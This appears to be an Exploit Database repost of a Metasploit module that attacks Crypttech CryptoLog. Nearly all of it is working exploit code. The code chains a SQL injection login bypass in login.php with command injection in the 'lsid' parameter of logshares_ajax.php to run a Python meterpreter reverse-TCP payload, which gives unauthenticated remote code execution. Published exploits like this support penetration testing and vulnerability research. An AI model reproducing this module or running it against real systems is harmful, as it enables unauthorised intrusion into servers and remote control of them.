Crypttech CryptoLog – Remote Code Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Mehmet Ince
  日期： 2017-05-09
• 类别：

  • remote
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/41980/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Crypttech CryptoLog Remote Code Execution",
  'Description'=> %q{
  This module exploits the sql injection and command injection vulnerability of CryptoLog. An un-authenticated user can execute a
  terminal command under the context of the web user.
  
  login.php endpoint is responsible for login process. One of the user supplied parameter is used by the application without input validation
  and parameter binding. Which cause a sql injection vulnerability. Successfully exploitation of this vulnerability gives us the valid session.
  
  logshares_ajax.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having
  a valid session. One user parameter is used by the application while executing operating system command which cause a command injection issue.
  
  Combining these vulnerabilities gives us opportunity execute operation system command under the context of the web user.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
  ],
  'References' =>
  [
  ['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']
  ],
  'DefaultOptions'=>
  {
  'Payload'=> 'python/meterpreter/reverse_tcp'
  },
  'Platform' => ['python'],
  'Arch' => ARCH_PYTHON,
  'Targets'=> [[ 'Automatic', { }]],
  'Privileged' => false,
  'DisclosureDate' => "May 3 2017",
  'DefaultTarget'=> 0
  ))
  
  register_options(
  [
  Opt::RPORT(80),
  OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])
  ]
  )
  end
  
  def bypass_login
  r = rand_text_alpha(15)
  i = rand_text_numeric(5)
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
  'vars_get' => {
  'act' => 'login'
  },
  'vars_post' => {
  'user' => "' OR #{i}=#{i}#",
  'pass' => "#{r}"
  }
  })
  
  if res && res.code == 302 && res.headers.include?('Set-Cookie')
  res.get_cookies
  else
  nil
  end
  end
  
  def check
  if bypass_login.nil?
  Exploit::CheckCode::Safe
  else
  Exploit::CheckCode::Appears
  end
  end
  
  def exploit
  print_status("Bypassing login by exploiting SQLi flaw")
  
  cookie = bypass_login
  
  if cookie.nil?
  fail_with(Failure::Unknown, "Something went wrong.")
  end
  
  print_good("Successfully logged in")
  
  print_status("Exploiting command injection flaw")
  r = rand_text_alpha(15)
  
  send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),
  'cookie'=> cookie,
  'vars_post' => {
  'opt' => "check",
  'lsid' => "$(python -c \"#{payload.encoded}\")",
  'lssharetype' => "#{r}"
  }
  })
  
  end
  end